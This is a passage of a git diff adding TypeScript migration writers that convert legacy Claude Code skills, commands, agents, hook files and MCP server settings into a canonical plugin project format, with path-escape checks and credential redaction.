acplugin.config.ts 正常按包名导入。 */ + const acpluginPackage = path.join(nodeModules, '@tokenroll/acplugin'); + await copyText(path.join(acpluginPackage, 'package.json'), stableJson({ + name: '@tokenroll/acplugin', + version: '1.0.0', + type: 'module', + exports: './index.mjs', + })); + await copyText(path.join(acpluginPackage, 'index.mjs'), ` +const api = globalThis[Symbol.for('tokenroll.acplugin.migration-validation-api')]; +if (!api) throw new Error('Migration validation API is unavailable.'); +export const defineConfig = api.defineConfig; +export const migrationValidationPlatform = api.migrationValidationPlatform; +export const migrationValidationMcp = api.migrationValidationMcp; +`); + if (usesMcp) { + /** 临时 MCP 包只为生成源码中的 type-only import 提供可解析包身份。 */ + const extensionPackage = path.join(nodeModules, '@tokenroll/acplugin-extension-mcp'); + await copyText(path.join(extensionPackage, 'package.json'), stableJson({ + name: '@tokenroll/acplugin-extension-mcp', + version: '1.0.0', + type: 'module', + exports: './index.mjs', + })); + await copyText(path.join(extensionPackage, 'index.mjs'), 'export {};\n'); + } + /** 用相同元数据驱动 Core Scanner;正式 Platform/Extension 在安装依赖后自行验证。 */ + await fs.writeFile(configPath, ` +import { + defineConfig, + migrationValidationMcp, + migrationValidationPlatform, +} from '@tokenroll/acplugin'; + +export default defineConfig({ + ...${stableJson(metadata).trim()}, + extensions: ${usesMcp ? '[migrationValidationMcp]' : '[]'}, + platforms: [migrationValidationPlatform], + build: { strict: false }, +}); +`); + /** 正式配置加载、Scanner、Extension 和全部配置 Platform validate 的公开结果。 */ + const result = await runProject({ + cwd: outputRoot, + command: 'validate', + mode: 'production', + commit: false, + }); + return result.diagnostics; + } catch { + /** 配置执行异常统一收敛为不携带路径、导出值或堆栈的迁移诊断。 */ + const diagnostics: readonly Diagnostic[] = Object.freeze([{ + code: 'MIGRATION_PROJECT_VALIDATION_FAILED', + severity: 'error', + phase: 'validate', + message: 'The generated project could not be loaded and validated through the public API.', + }]); + return diagnostics; + } finally { + await fs.writeFile(configPath, generatedConfig); + await fs.rm(nodeModules, { recursive: true, force: true }); + activeValidationProxies -= 1; + if (activeValidationProxies === 0) + Reflect.deleteProperty(globalThis, MIGRATION_VALIDATION_API); + } +} diff --git a/packages/acplugin/src/migration/writers/components.ts b/packages/acplugin/src/migration/writers/components.ts new file mode 100644 index 0000000..245379e --- /dev/null +++ b/packages/acplugin/src/migration/writers/components.ts @@ -0,0 +1,421 @@ +/** Canonical Skill、Command 与 Agent 的 Migration writer。 */ +import path from 'node:path'; +import type { AgentCapability } from '@acplugin/core'; +import matter from 'gray-matter'; +import type { Agent, Command, Skill } from '../legacy/types.js'; +import { compareCodeUnits, ID_PATTERN, relative } from '../ids.js'; +import type { MigrationFieldDraft, MigrationItem } from '../types.js'; +import { + copyBytes, + copyText, + markdownWithFrontmatter, + migrationItem, + reportField, +} from './shared.js'; + +/** + * 把旧 Skill 及全部辅助文件迁移为规范 Skill 目录。 + * + * @param skill Legacy Scanner 读取的 Skill。 + * @param id 已在 Skill namespace 中完成冲突消歧的最终 ID。 + * @param projectRoot 旧工程根目录。 + * @param outputRoot 新规范工程的阶段目录。 + * @param items 共享迁移报告条目数组。 + * @returns 可与其他资源并行等待的文件写入任务。 + */ +export function migrateSkill(skill: Skill, id: string, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise[] { + /** 当前 Skill 报告使用的稳定来源路径。 */ + const source = relative(projectRoot, skill.sourcePath); + /** 当前 Skill 全部已发现字段的保真记录。 */ + const fields: MigrationFieldDraft[] = []; + reportField(fields, 'name', source, ID_PATTERN.test(skill.dirName) && skill.dirName === id ? 'mapped' : 'degraded', ID_PATTERN.test(skill.dirName) && skill.dirName === id + ? 'Directory identity maps directly to the canonical Skill ID.' + : 'Skill identity required lowercase kebab-case normalization or a deterministic collision suffix.'); + if (skill.frontmatter.name !== undefined) { + reportField(fields, 'frontmatter.name', source, skill.frontmatter.name === id ? 'mapped' : 'degraded', skill.frontmatter.name === id + ? 'Frontmatter identity agrees with the canonical directory identity.' + : 'Frontmatter name differs from the canonical directory identity.'); + } + /** 优先保留旧描述,否则生成明确的迁移回退描述。 */ + const description = skill.frontmatter.description || skill.frontmatter.when_to_use || `Migrated Skill ${id}.`; + if (skill.frontmatter.description) { + reportField(fields, 'description', source, 'mapped', 'Description maps directly to canonical Skill frontmatter.'); + } else if (skill.frontmatter.when_to_use) { + reportField(fields, 'when_to_use', source, 'mapped', 'when_to_use maps to the canonical Skill description.'); + } else { + reportField(fields, 'description', source, 'degraded', 'Description required a generated fallback.'); + } + /** 旧 Skill 未经 Schema 校验的用户调用开关。 */ + const rawUserInvocation = skill.frontmatter['user-invocable']; + /** 旧 Skill 未经 Schema 校验的模型禁用开关。 */ + const rawModelDisabled = skill.frontmatter['disable-model-invocation']; + /** 无效或缺失的用户开关回退到旧平台默认 true。 */ + let user = typeof rawUserInvocation === 'boolean' ? rawUserInvocation : true; + /** 无效或缺失的模型开关回退到旧平台默认可调用。 */ + const model = typeof rawModelDisabled === 'boolean' ? !rawModelDisabled : true; + if (rawUserInvocation !== undefined) { + if (typeof rawUserInvocation !== 'boolean') { + reportField(fields, 'user-invocable', source, 'unmapped', 'user-invocable was not boolean.'); + } else if (!user && !model) { + user = true; + reportField(fields, 'user-invocable', source, 'degraded', 'Both invocation paths were disabled; canonical format required enabling user invocation.'); + } else { + reportField(fields, 'user-invocable', source, 'mapped', 'user-invocable maps to canonical invocation.user.'); + } + } + if (rawModelDisabled !== undefined) { + reportField(fields, 'disable-model-invocation', source, typeof rawModelDisabled === 'boolean' ? 'mapped' : 'unmapped', + typeof rawModelDisabled === 'boolean' + ? 'disable-model-invocation maps inversely to canonical invocation.model.' + : 'disable-model-invocation was not boolean.'); + } + if (rawUserInvocation === undefined && rawModelDisabled === undefined) + reportField(fields, 'invocation', source, 'mapped', 'Legacy invocation defaults map to canonical user/model policy.'); + /** Claude Code 专属字段在规范 Skill 中的精确保留映射。 */ + const claudeFields: Record = {}; + /** 旧 allowed-tools 的稳定数组表示。 */ + const allowedTools = legacyStringList(skill.frontmatter['allowed-tools']); + if (skill.frontmatter['allowed-tools'] !== undefined) { + if (allowedTools) { + claudeFields.allowedTools = allowedTools; + reportField(fields, 'allowed-tools', source, 'mapped', 'Tool restrictions map to the Claude Code Platform field.'); + } else { + reportField(fields, 'allowed-tools', source, 'unmapped', 'allowed-tools was not a valid non-empty tool list.'); + } + } + /** field 表示当前可精确进入 Claude Code Platform 字段的普通字符串。 */ + for (const field of ['model', 'agent'] as const) { + /** 旧 Frontmatter 中当前字符串字段。 */ + const value = skill.frontmatter[field]; + if (value !== undefined) { + if (typeof value === 'string' && value.trim()) { + claudeFields[field] = value.trim(); + reportField(fields, field, source, 'mapped', `${field} maps to the Claude Code Platform field.`); + } else { + reportField(fields, field, source, 'unmapped', `${field} was not a non-empty string.`); + } + } + } + if (skill.frontmatter.context !== undefined) { + if (skill.frontmatter.context === 'fork') { + claudeFields.context = 'fork'; + reportField(fields, 'context', source, 'mapped', 'fork maps to the verified Claude Code context field.'); + } else { + reportField(fields, 'context', source, 'unmapped', 'Only the verified Claude Code fork context can be preserved.'); + } + } + reportUnknownFields(fields, source, skill.frontmatter as unknown as Readonly>, new Set([ + 'name', 'description', 'when_to_use', 'user-invocable', 'disable-model-invocation', 'allowed-tools', 'model', 'context', 'agent', + ])); + /** 规范 Skill 主文件的工程相对路径。 */ + const destination = `src/skills/${id}/SKILL.md`; + reportField(fields, 'body', source, 'mapped', 'Markdown body maps without model-visible annotations.'); + for (const auxiliary of skill.auxFiles) { + reportField( + fields, + `auxiliary:${auxiliary.relativePath}`, + relative(projectRoot, auxiliary.sourcePath), + 'mapped', + 'Auxiliary file is copied byte-for-byte with the Skill.', + `src/skills/${id}/${auxiliary.relativePath.split(path.sep).join('/')}`, + ); + } + items.push(migrationItem({ kind: 'skill', id, source, destination }, fields)); + /** 主文件及后续辅助文件的并行写入任务。 */ + const writes = [copyText(path.join(outputRoot, destination), markdownWithFrontmatter({ + description, + invocation: { user, model }, + ...(Object.keys(claudeFields).length === 0 ? {} : { platforms: { 'claude-code': claudeFields } }), + }, skill.body))]; + for (const auxiliary of skill.auxFiles) + writes.push(copyBytes(auxiliary.sourcePath, path.join(outputRoot, 'src/skills', id, auxiliary.relativePath))); + return writes; +} + +/** + * 把逗号分隔字符串或字符串数组转换为去重的非空字段列表。 + * + * @param value Legacy Frontmatter 中未经验证的工具或 Skill 列表。 + * @returns 有效列表;字段缺失或无效时返回 undefined。 + */ +function legacyStringList(value: unknown): string[] | undefined { + if (value === undefined) + return undefined; + /** 字符串使用 Claude 旧格式的逗号分隔规则,数组保持原声明顺序。 */ + const values = typeof value === 'string' + ? value.split(',').map(item => item.trim()).filter(Boolean) + : Array.isArray(value) ? value : []; + if (values.length === 0 || values.some(item => typeof item !== 'string' || item.trim() === '')) + return undefined; + /** 去重后的列表,避免生成的新 Platform 字段无法通过严格 Schema。 */ + return [...new Set(values as string[])]; +} + +/** + * 把未列入迁移白名单且实际存在的旧 Frontmatter 字段逐项报告为 unmapped。 + * + * @param fields 当前资源累计的字段级结论。 + * @param source 旧资源相对路径。 + * @param data Legacy Scanner 的宽松 Frontmatter。 + * @param allowed 当前资源可以自动迁移的字段集合。 + */ +function reportUnknownFields( + fields: MigrationFieldDraft[], + source: string, + data: Readonly>, + allowed: ReadonlySet, +): void { + /** field 表示当前需要进入人工迁移流程的旧字段。 */ + for (const field of Object.keys(data).sort(compareCodeUnits)) { + if (!allowed.has(field)) + reportField(fields, field, source, 'unmapped', 'The legacy field has no canonical or verified Platform mapping.'); + } +} + +/** + * 把旧 Command Markdown 迁移为规范 Command,并转换参数占位符。 + * + * @param command Legacy Scanner 读取的 Command。 + * @param id 已在 Command namespace 中完成冲突消歧的最终 ID。 + * @param projectRoot 旧工程根目录。 + * @param outputRoot 新规范工程的阶段目录。 + * @param items 共享迁移报告条目数组。 + * @returns Command 文件写入任务。 + */ +export function migrateCommand(command: Command, id: string, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise { + /** 当前 Command 报告使用的稳定来源路径。 */ + const source = relative(projectRoot, command.sourcePath); + /** 当前 Command 全部已发现字段的保真记录。 */ + const fields: MigrationFieldDraft[] = []; + reportField(fields, 'name', source, ID_PATTERN.test(command.name) && command.name === id ? 'mapped' : 'degraded', ID_PATTERN.test(command.name) && command.name === id + ? 'Filename identity maps directly to the canonical Command ID.' + : 'Command identity required lowercase kebab-case normalization or a deterministic collision suffix.'); + /** 解析 Frontmatter 后保留的 Command 正文。 */ + let body = command.content; + /** 优先读取旧描述,否则使用明确的迁移回退值。 */ + let description = `Migrated Command ${id}.`; + /** 迁移后写入规范 Frontmatter 的字段集合。 */ + const frontmatter: Record = {}; + try { + /** 旧 Command 的 Frontmatter 与正文解析结果。 */ + const parsed = matter(command.content); + body = parsed.content.trim(); + if (typeof parsed.data.description === 'string' && parsed.data.description.trim()) { + description = parsed.data.description.trim(); + reportField(fields, 'description', source, 'mapped', 'Description maps directly to canonical Command frontmatter.'); + } else { + reportField(fields, 'description', source, 'degraded', 'Description required a generated fallback.'); + } + /** Claude 原生拼写优先于旧工具曾使用的 camelCase 拼写。 */ + const nativeHint = parsed.data['argument-hint']; + /** camelCase 拼写仍是需要保真的合法 Legacy 输入。 */ + const camelHint = parsed.data.argumentHint; + /** 两种来源分别规范化,避免 truthy 非字符串绕过字段报告。 */ + const normalizedNative = typeof nativeHint === 'string' && nativeHint.trim() ? nativeHint.trim() : undefined; + /** camelCase 来源的非空字符串值。 */ + const normalizedCamel = typeof camelHint === 'string' && camelHint.trim() ? camelHint.trim() : undefined; + if (normalizedNative !== undefined) { + frontmatter.argumentHint = normalizedNative; + reportField(fields, 'argument-hint', source, normalizedNative === nativeHint ? 'mapped' : 'degraded', normalizedNative === nativeHint + ? 'Claude-native argument-hint maps to canonical argumentHint.' + : 'Claude-native argument-hint required whitespace normalization.'); + } else if (nativeHint !== undefined) { + reportField(fields, 'argument-hint', source, 'unmapped', 'argument-hint was not a non-empty string.'); + } + if (normalizedCamel !== undefined && normalizedNative === undefined) { + frontmatter.argumentHint = normalizedCamel; + reportField(fields, 'argumentHint', source, normalizedCamel === camelHint ? 'mapped' : 'degraded', normalizedCamel === camelHint + ? 'Legacy camelCase argumentHint maps directly to canonical argumentHint.' + : 'Legacy camelCase argumentHint required whitespace normalization.'); + } else if (normalizedCamel !== undefined && normalizedNative !== undefined) { + reportField(fields, 'argumentHint', source, normalizedCamel === normalizedNative ? 'mapped' : 'degraded', normalizedCamel === normalizedNative + ? 'Both legacy argument hint spellings agree with the canonical value.' + : 'Conflicting argument hints were degraded to the Claude-native argument-hint value.'); + } else if (camelHint !== undefined) { + reportField(fields, 'argumentHint', source, 'unmapped', 'argumentHint was not a non-empty string.'); + } + /** Claude Code 专属 Command 字段。 */ + const claudeFields: Record = {}; + /** 旧 allowed-tools 的稳定数组表示。 */ + const allowedTools = legacyStringList(parsed.data['allowed-tools']); + if (parsed.data['allowed-tools'] !== undefined) { + if (allowedTools) { + claudeFields.allowedTools = allowedTools; + reportField(fields, 'allowed-tools', source, 'mapped', 'Tool restrictions map to the Claude Code Platform field.'); + } else { + reportField(fields, 'allowed-tools', source, 'unmapped', 'allowed-tools was not a valid non-empty tool list.'); + } + } + if (parsed.data.model !== undefined) { + if (typeof parsed.data.model === 'string' && parsed.data.model.trim()) { + claudeFields.model = parsed.data.model.trim(); + reportField(fields, 'model', source, 'mapped', 'Model maps to the Claude Code Platform field.'); + } else { + reportField(fields, 'model', source, 'unmapped', 'model was not a non-empty string.'); + } + } + if (Object.keys(claudeFields).length > 0) + frontmatter.platforms = { 'claude-code': claudeFields }; + reportUnknownFields(fields, source, parsed.data, new Set(['description', 'argument-hint', 'argumentHint', 'allowed-tools', 'model'])); + } catch { + reportField(fields, 'frontmatter', source, 'unmapped', 'Frontmatter could not be parsed and requires manual recovery.'); + } + frontmatter.description = description; + body = body.replaceAll('$ARGUMENTS', '{{arguments}}'); + /** 规范 Command 文件的工程相对路径。 */ + const destination = `src/commands/${id}.md`; + reportField(fields, 'body', source, 'mapped', 'Markdown body and argument placeholder map to canonical Command content.'); + items.push(migrationItem({ kind: 'command', id, source, destination }, fields)); + return copyText(path.join(outputRoot, destination), markdownWithFrontmatter(frontmatter, body)); +} + +/** + * 把旧 Claude 模型名称收敛为 Core 可移植模型档位。 + * + * @param value 旧 Agent model 字段。 + * @returns fast、capable 或 inherit。 + */ +function mappedModel(value: string | undefined): 'inherit' | 'fast' | 'capable' { + if (value === 'haiku') + return 'fast'; + if (value === 'sonnet' || value === 'opus') + return 'capable'; + return 'inherit'; +} + +/** + * 从 Claude Code 工具名推导跨平台保守能力集合。 + * + * 精确工具白名单仍保存在 Claude Code Platform 字段中;这里只为其他 Platform 提供可移植近似。 + * + * @param tools 已验证的旧 Claude Code 工具名。 + * @returns 按 Core 固定顺序去重的规范能力。 + */ +function capabilitiesFromTools(tools: readonly string[]): AgentCapability[] { + /** 每个稳定工具对应的最小规范能力。 */ + const mapping: Readonly> = { + Read: 'filesystem:read', + Write: 'filesystem:write', + Edit: 'filesystem:write', + NotebookEdit: 'filesystem:write', + Glob: 'search', + Grep: 'search', + Bash: 'shell', + WebFetch: 'network', + Agent: 'delegate', + Task: 'delegate', + }; + /** 工具列表映射得到的能力集合。 */ + const found = new Set(); + for (const tool of tools) { + // WebSearch 同时依赖发现能力和远程访问,不能压缩成单一 capability。 + if (tool === 'WebSearch') { + found.add('search'); + found.add('network'); + continue; + } + /** 当前 Claude 工具可保守映射出的单一规范能力。 */ + const capability = mapping[tool]; + if (capability !== undefined) + found.add(capability); + } + /** Core 对外采用的固定能力顺序。 */ + const order: readonly AgentCapability[] = ['filesystem:read', 'filesystem:write', 'search', 'shell', 'network', 'delegate']; + return order.filter(capability => found.has(capability)); +} + +/** + * 把旧 Agent Markdown 迁移为规范 Agent,并泛化平台模型名称。 + * + * @param agent Legacy Scanner 读取的 Agent。 + * @param id 已在 Agent namespace 中完成冲突消歧的最终 ID。 + * @param projectRoot 旧工程根目录。 + * @param outputRoot 新规范工程的阶段目录。 + * @param items 共享迁移报告条目数组。 + * @returns Agent 文件写入任务。 + */ +export function migrateAgent(agent: Agent, id: string, projectRoot: string, outputRoot: string, items: MigrationItem[]): Promise { + /** 当前 Agent 报告使用的稳定来源路径。 */ + const source = relative(projectRoot, agent.sourcePath); + /** 当前 Agent 全部已发现字段的保真记录。 */ + const fields: MigrationFieldDraft[] = []; + reportField(fields, 'name', source, ID_PATTERN.test(agent.fileName) && agent.fileName === id ? 'mapped' : 'degraded', ID_PATTERN.test(agent.fileName) && agent.fileName === id + ? 'Filename identity maps directly to the canonical Agent ID.' + : 'Agent identity required lowercase kebab-case normalization or a deterministic collision suffix.'); + if (agent.frontmatter.name !== undefined) { + reportField(fields, 'frontmatter.name', source, agent.frontmatter.name === id ? 'mapped' : 'degraded', agent.frontmatter.name === id + ? 'Frontmatter identity agrees with the canonical filename identity.' + : 'Frontmatter name differs from the canonical filename identity.'); + } + /** 旧描述或明确的迁移回退描述。 */ + const description = agent.frontmatter.description || `Migrated Agent ${id}.`; + reportField(fields, 'description', source, agent.frontmatter.description ? 'mapped' : 'degraded', agent.frontmatter.description + ? 'Description maps directly to canonical Agent frontmatter.' + : 'Description required a generated fallback.'); + /** 旧模型是否属于可映射的已知集合。 */ + const knownModel = agent.frontmatter.model === undefined || ['inherit', 'haiku', 'sonnet', 'opus'].includes(agent.frontmatter.model); + if (agent.frontmatter.model !== undefined) { + reportField(fields, 'model', source, knownModel ? 'mapped' : 'degraded', knownModel + ? 'Known Claude model maps to the canonical model class.' + : 'Unknown model was generalized to inherit.'); + } + /** 可以由 Claude Code Platform 精确保留的 Agent 字段。 */ + const claudeFields: Record = {}; + /** 旧工具白名单及其跨平台保守能力映射。 */ + const tools = legacyStringList(agent.frontmatter.tools); + if (agent.frontmatter.tools !== undefined) { + if (tools) { + claudeFields.tools = tools; + /** 无法推导跨平台 capability 的工具仍会在 Claude Code 字段中精确保留。 */ + const hasPlatformOnlyTool = tools.some(tool => capabilitiesFromTools([tool]).length === 0); + reportField(fields, 'tools', source, hasPlatformOnlyTool ? 'degraded' : 'mapped', hasPlatformOnlyTool + ? 'Tool restrictions are preserved for Claude Code, but at least one tool has no portable capability mapping.' + : 'Tool restrictions map to Claude Code and portable capabilities.'); + } else { + reportField(fields, 'tools', source, 'unmapped', 'tools was not a valid non-empty tool list.'); + } + } + /** 旧工具黑名单仅在 Claude Code Platform 中精确保留。 */ + const disallowedTools = legacyStringList(agent.frontmatter.disallowedTools); + if (agent.frontmatter.disallowedTools !== undefined) { + if (disallowedTools) { + claudeFields.disallowedTools = disallowedTools; + reportField(fields, 'disallowedTools', source, 'mapped', 'Denied tools map to the Claude Code Platform field.'); + } else { + reportField(fields, 'disallowedTools', source, 'unmapped', 'disallowedTools was not a valid non-empty tool list.'); + } + } + /** 字段及其允许值谓词组成的 Claude Code 精确映射表。 */ + const exactFields: readonly [string, unknown, (value: unknown) => boolean][] = [ + ['effort', agent.frontmatter.effort, value => typeof value === 'string' && ['low', 'medium', 'high', 'xhigh', 'max'].includes(value)], + ['maxTurns', agent.frontmatter.maxTurns, value => Number.isInteger(value) && Number(value) > 0], + ['skills', agent.frontmatter.skills, value => legacyStringList(value) !== undefined], + ['memory', agent.frontmatter.memory, value => typeof value === 'string' && ['user', 'project', 'local'].includes(value)], + ['background', agent.frontmatter.background, value => typeof value === 'boolean'], + ['isolation', agent.frontmatter.isolation, value => value === 'worktree'], + ]; + /** [field, value, valid] 表示当前可进入 Claude Code Agent Platform 字段的候选。 */ + for (const [field, value, valid] of exactFields) { + if (value === undefined) + continue; + if (valid(value)) { + claudeFields[field] = field === 'skills' ? legacyStringList(value)! : value; + reportField(fields, field, source, 'mapped', `${field} maps to the verified Claude Code Platform field.`); + } else { + reportField(fields, field, source, 'unmapped', `${field} did not satisfy the current Claude Code field contract.`); + } + } + reportUnknownFields(fields, source, agent.frontmatter as unknown as Readonly>, new Set([ + 'name', 'description', 'tools', 'disallowedTools', 'model', 'effort', 'maxTurns', 'skills', 'memory', 'background', 'isolation', + ])); + /** 规范 Agent 文件的工程相对路径。 */ + const destination = `src/agents/${id}.md`; + reportField(fields, 'body', source, 'mapped', 'Markdown body maps without model-visible migration annotations.'); + items.push(migrationItem({ kind: 'agent', id, source, destination }, fields)); + return copyText(path.join(outputRoot, destination), markdownWithFrontmatter({ + description, + model: mappedModel(agent.frontmatter.model), + capabilities: capabilitiesFromTools(tools ?? []), + ...(Object.keys(claudeFields).length === 0 ? {} : { platforms: { 'claude-code': claudeFields } }), + }, agent.body)); +} diff --git a/packages/acplugin/src/migration/writers/hooks.ts b/packages/acplugin/src/migration/writers/hooks.ts new file mode 100644 index 0000000..d345ae2 --- /dev/null +++ b/packages/acplugin/src/migration/writers/hooks.ts @@ -0,0 +1,103 @@ +/** Legacy Hook 引用的隔离保留逻辑。 */ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { Hooks } from '../legacy/types.js'; +import { compareCodeUnits } from '../ids.js'; +import type { MigrationItem } from '../types.js'; +import { migrationItem } from './shared.js'; + +/** + * 从旧 Hook 命令中提取相对于 Plugin/Project 根目录的文件引用候选。 + * + * @param hooks Legacy Scanner 读取的原始 Hook 配置。 + * @returns 去重并稳定排序的相对路径。 + */ +export function hookReferenceCandidates(hooks: Hooks): string[] { + /** 从环境变量根路径和 `./` 语法提取的引用集合。 */ + const references = new Set(); + for (const matchers of Object.values(hooks)) { + for (const matcher of matchers) { + for (const hook of matcher.hooks) { + if (!hook.command) + continue; + for (const match of hook.command.matchAll(/(?:\$\{(?:CLAUDE_PLUGIN_ROOT|CLAUDE_PROJECT_DIR)\}|\$(?:CLAUDE_PLUGIN_ROOT|CLAUDE_PROJECT_DIR))\/([^\s"'`;|&]+)/g)) + references.add(match[1]!); + for (const match of hook.command.matchAll(/(?:^|[\s"'=])\.\/([^\s"'`;|&]+)/g)) + references.add(match[1]!); + } + } + } + return [...references].sort(compareCodeUnits); +} + +/** + * 递归保留旧 Hook 引用文件,但不把未经类型化迁移的代码加入可发布源码。 + * + * @param sourceRoot 旧工程根目录和路径信任边界。 + * @param relativePath Hook 命令提取出的相对路径。 + * @param outputRoot 新规范工程的阶段目录。 + * @param items 共享迁移报告条目数组。 + */ +export async function copyHookReference( + sourceRoot: string, + relativePath: string, + outputRoot: string, + items: MigrationItem[], +): Promise { + /** 解析后的 Hook 引用绝对路径。 */ + const source = path.resolve(sourceRoot, relativePath); + /** 用于阻止目录逃逸并生成报告的来源相对路径。 */ + const relation = path.relative(sourceRoot, source); + if (relation === '..' || relation.startsWith(`..${path.sep}`) || path.isAbsolute(relation)) { + /** 越界引用只保留脱敏字段结论,不把绝对解析路径写入报告。 */ + const safeSource = relativePath.split(path.sep).join('/'); + items.push(migrationItem({ kind: 'hook-file', id: safeSource }, [{ + field: 'content', source: safeSource, outcome: 'unmapped', + reason: 'Referenced Hook file escapes the source project and was not copied.', + }])); + return; + } + /** 引用文件的 lstat 元数据,用于拒绝符号链接。 */ + let stat: import('node:fs').Stats; + try { + stat = await fs.lstat(source); + } catch { + /** 不存在的引用仍用工程相对路径进入字段报告。 */ + const normalized = relation.split(path.sep).join('/'); + items.push(migrationItem({ kind: 'hook-file', id: relativePath, source: normalized }, [{ + field: 'content', source: normalized, outcome: 'unmapped', + reason: 'Referenced Hook file does not exist and requires manual recovery.', + }])); + return; + } + if (stat.isSymbolicLink()) { + /** 符号链接不解引用,只报告链接自身的相对位置。 */ + const normalized = relation.split(path.sep).join('/'); + items.push(migrationItem({ kind: 'hook-file', id: relativePath, source: normalized }, [{ + field: 'content', source: normalized, outcome: 'unmapped', + reason: 'Referenced Hook symlinks are not copied.', + }])); + return; + } + if (stat.isDirectory()) { + /** 按名称稳定递归的目录项。 */ + const entries = await fs.readdir(source, { withFileTypes: true }); + for (const entry of entries.sort((a, b) => compareCodeUnits(a.name, b.name))) + await copyHookReference(sourceRoot, path.join(relativePath, entry.name), outputRoot, items); + return; + } + if (!stat.isFile()) + return; + /** 报告和未映射目录使用的 POSIX 相对路径。 */ + const normalized = relation.split(path.sep).join('/'); + /** 与可发布源码隔离的 Hook 文件目标路径。 */ + const destination = `.acplugin-migration/unmapped/hook-files/${normalized}`; + /** 未映射文件的绝对写入路径。 */ + const output = path.join(outputRoot, destination); + await fs.mkdir(path.dirname(output), { recursive: true }); + await fs.copyFile(source, output); + items.push(migrationItem({ kind: 'hook-file', id: normalized, source: normalized, destination }, [{ + field: 'content', source: normalized, destination, outcome: 'unmapped', + reason: 'Referenced Hook implementation was preserved for manual typed migration.', + }])); +} diff --git a/packages/acplugin/src/migration/writers/mcp.ts b/packages/acplugin/src/migration/writers/mcp.ts new file mode 100644 index 0000000..58aebc2 --- /dev/null +++ b/packages/acplugin/src/migration/writers/mcp.ts @@ -0,0 +1,97 @@ +/** Legacy MCP 的安全远程映射与脱敏 sidecar writer helper。 */ +import type { MCPServer } from '../legacy/types.js'; + +/** + * 识别仅包含 `${ENV_NAME}` 的安全环境变量引用。 + * + * @param value 旧配置中的字符串值。 + * @returns 环境变量名称;包含字面量或无效语法时返回 undefined。 + */ +function environmentReference(value: string): string | undefined { + /** 完整匹配环境变量插值的捕获结果。 */ + const match = value.match(/^\$\{([A-Za-z_][A-Za-z0-9_]*)\}$/); + return match?.[1]; +} + +/** + * 尝试把无凭据、HTTPS 且只引用环境变量的旧远程 MCP 转为类型化定义源码。 + * + * @param server Legacy Scanner 读取的 MCP Server。 + * @returns 可安全自动迁移的 `mcp.ts` 源码,否则返回 undefined 并转入未映射区。 + */ +export function remoteMcpSource(server: MCPServer): string | undefined { + if (!server.url || !['http', 'streamable-http', undefined].includes(server.type)) + return undefined; + /** 完成语法与敏感 URL 组件检查的远程端点。 */ + let endpoint: URL; + try { + endpoint = new URL(server.url); + } catch { + return undefined; + } + if (endpoint.protocol !== 'https:' || endpoint.username || endpoint.password || endpoint.search || endpoint.hash) + return undefined; + /** 仅保留环境变量引用的非认证 Header。 */ + const headers: Record = {}; + /** 从 Authorization Header 提取的可选 Bearer 环境变量策略。 */ + let auth: Record | undefined; + for (const [name, value] of Object.entries(server.headers ?? {})) { + /** Authorization Header 是否是可安全迁移的 Bearer 环境变量引用。 */ + const bearer = name.toLowerCase() === 'authorization' && value.match(/^Bearer \$\{([A-Za-z_][A-Za-z0-9_]*)\}$/); + if (bearer) { + auth = { type: 'bearer', env: bearer[1]! }; + continue; + } + /** 普通 Header 值中唯一允许保留的环境变量名。 */ + const env = environmentReference(value); + if (!env) + return undefined; + headers[name] = { env }; + } + /** 按稳定格式组装的类型化 MCP 描述源码行。 */ + const descriptor = [ + `import type { McpServer } from '@tokenroll/acplugin-extension-mcp';`, + '', + 'export default {', + ` transport: 'http',`, + ` url: ${JSON.stringify(endpoint.href)},`, + ...(auth ? [` auth: ${JSON.stringify(auth)},`] : []), + ...(Object.keys(headers).length ? [` headers: ${JSON.stringify(headers, null, 2).replaceAll('\n', '\n ')},`] : []), + '} satisfies McpServer;', + '', + ]; + return descriptor.join('\n'); +} + +/** + * 创建可供人工恢复的旧 MCP 摘要,同时移除参数、环境值、Header 值和 URL 凭据。 + * + * @param server 无法自动迁移的旧 MCP Server。 + * @returns 不包含已知敏感值的结构化摘要。 + */ +export function redactedMcpServer(server: MCPServer): Record { + /** 清除凭据、查询和片段后的可选 URL。 */ + let url = server.url; + if (url) { + try { + /** 用于移除用户信息、查询和片段的 URL 副本。 */ + const parsed = new URL(url); + parsed.username = ''; + parsed.password = ''; + parsed.search = ''; + parsed.hash = ''; + url = parsed.href; + } catch { + url = ''; + } + } + return { + name: server.name, + ...(server.type === undefined ? {} : { type: server.type }), + ...(server.command === undefined ? {} : { command: server.command }), + ...(server.args === undefined ? {} : { args: server.args.map(() => '') }), + ...(server.env === undefined ? {} : { env: Object.fromEntries(Object.keys(server.env).sort().map(name => [name, ''])) }), + ...(url === undefined ? {} : { url }), + ...(server.headers === undefined ? {} : { headers: Object.fromEntries(Object.keys(server.headers).sort().map(name => [name, ''])) }), + }; +} diff --git a/packages/acplugin/src/migration/writers/project.ts b/packages/acplugin/src/migration/writers/project.ts new file mode 100644 index 0000000..789140a --- /dev/null +++ b/packages/acplugin/src/migration/writers/project.ts @@ -0,0 +1,224 @@ +/** 单个 Legacy ScanResult 的 canonical 工程写入编排。 */ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { stableJson, type Diagnostic } from '@acplugin/core'; +import { publicPackageRange } from '../../ecosystem/versions.js'; +import type { ScanResult } from '../legacy/types.js'; +import { + allocateMigrationIds, + compareCodeUnits, + ID_PATTERN, + relative, + safeId, +} from '../ids.js'; +import { metadataFor } from '../metadata.js'; +import type { MigrationFieldDraft, MigrationItem, MigrationOptions } from '../types.js'; +import { validateCanonicalProject } from '../validation.js'; +import { migrateAgent, migrateCommand, migrateSkill } from './components.js'; +import { copyHookReference, hookReferenceCandidates } from './hooks.js'; +import { redactedMcpServer, remoteMcpSource } from './mcp.js'; +import { + copyText, + migrationItem, + reportField, + unmapped, +} from './shared.js'; + +/** + * 把单个 Legacy ScanResult 写成完整规范工程,并用 Core Scanner 重新验证。 + * + * Instructions、原始 Hooks、不安全 MCP 和未分类文件只进入 `.acplugin-migration/unmapped`, + * 不会静默进入可发布 Plugin 内容。 + * + * @param scan 旧工程或单个旧 Plugin 的扫描结果。 + * @param outputRoot 新规范工程的阶段目录。 + * @param options 迁移元数据和严格度选项。 + * @returns 资源迁移条目与规范工程重新扫描诊断。 + */ +export async function writeCanonicalProject( + scan: ScanResult, + outputRoot: string, + options: MigrationOptions, +): Promise<{ items: MigrationItem[]; diagnostics: readonly 